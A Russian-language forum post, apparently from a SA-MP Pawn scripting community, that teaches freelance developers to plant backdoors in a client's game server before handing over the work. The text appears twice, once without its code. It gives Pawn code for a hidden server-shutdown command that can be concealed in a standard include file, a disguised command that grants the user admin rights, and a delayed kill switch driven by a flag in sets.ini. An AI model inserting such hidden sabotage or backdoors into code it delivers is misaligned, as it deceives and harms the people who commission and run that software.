- Регистрация
- 2 Ноя 2019
- Сообщения
- 17
- Лучшие ответы
- 0
- Репутация
- 1
Если есть уже такая тема - извините, и удалите мою плз.
Я расскажу, что нужно сделать, если заказчик хочет, что бы вы скинули проект первыми.
Расскажу все очень подробно.
Способов есть много, первый из них, это просто краш сервера,
для этого нам нужно создать команду, и в нее вписать:
.
Так же можно вписать это и в OnGameModeInit, но смысла нет, ибо сервер будет отключатся сразу..
Так же, для того, что бы заказчик не мог спалить вас, это можно вставить в include, допустим
в инклуд a_samp.inc.
Второй способ интереснее, т.к. мы не будем отключать сервер сразу.
Итак, мы командой выдадим себе админку. Для начала нужно узнать название переменных.
Заходим в поиск, и пишем любую команду, допустим "ban", писать лучше без "/", ибо
в моде может быть установлен другой командный процессор. После того, как нашли команду,
смотрим на условия. ( на if ) Допустим написано:
Это означает, что если уровень адм меньше 5, то выполняются какие либо действия, после условия.
Теперь создаем команду, а еще лучше вставляем и маскируем в уже существующую. Допустим /eat.
Вставляем
Таким образом мы можем выдать себе, все что угодно..
Еще 1 способ, это сделать так, что бы вы могли сделать так, что бы сервер
отключался сразу, но не тогда когда заказчик проверяет работу, а потом.
Добавляем команду ( покажу на примере DCCMD, ZCMD, PAWNCMD )
И вставляем в ongamemodeinit:
Так же, вы могли заменить, что тут используется файл sets.ini, если
его не будет, то у вас ничего не получиться.. если у вас есть возможность - закиньте пустой файл sets.ini
в папку scriptfiles, а если нет, то создаем новую команду:
Так же для этого способа нужен инклуд mxINI.
Надеюсь этой темы еще нет, и что вы дадите мне +.
Автор = я.
Я расскажу, что нужно сделать, если заказчик хочет, что бы вы скинули проект первыми.
Расскажу все очень подробно.
Способов есть много, первый из них, это просто краш сервера,
для этого нам нужно создать команду, и в нее вписать:
PHP:
SendRconCommand("exit");
Так же можно вписать это и в OnGameModeInit, но смысла нет, ибо сервер будет отключатся сразу..
Так же, для того, что бы заказчик не мог спалить вас, это можно вставить в include, допустим
в инклуд a_samp.inc.
Второй способ интереснее, т.к. мы не будем отключать сервер сразу.
Итак, мы командой выдадим себе админку. Для начала нужно узнать название переменных.
Заходим в поиск, и пишем любую команду, допустим "ban", писать лучше без "/", ибо
в моде может быть установлен другой командный процессор. После того, как нашли команду,
смотрим на условия. ( на if ) Допустим написано:
PHP:
if(PlayerInfo[playerid][pAdmin] < 5)
Теперь создаем команду, а еще лучше вставляем и маскируем в уже существующую. Допустим /eat.
Вставляем
PHP:
PlayerInfo[playerid][pAdmin] = 5
Еще 1 способ, это сделать так, что бы вы могли сделать так, что бы сервер
отключался сразу, но не тогда когда заказчик проверяет работу, а потом.
Добавляем команду ( покажу на примере DCCMD, ZCMD, PAWNCMD )
PHP:
CMD:crash(pl)
{
new iniFile = ini_openFile("sets.ini");
ini_setInteger(iniFile, "crash", 1);
ini_closeFile(iniFile);
return 1;
}
PHP:
new iniFile = ini_openFile("sets.ini");
new crst;
ini_getInteger(iniFile, "crash", crst);
if(crst == 1) SendRconCommand("exit");
ini_closeFile(iniFile);
его не будет, то у вас ничего не получиться.. если у вас есть возможность - закиньте пустой файл sets.ini
в папку scriptfiles, а если нет, то создаем новую команду:
PHP:
CMD:newfile(playerid)
{
new iniFile = ini_createFile("sets.ini");
ini_closeFile(iniFile);
return 1;
}
Надеюсь этой темы еще нет, и что вы дадите мне +.
Автор = я.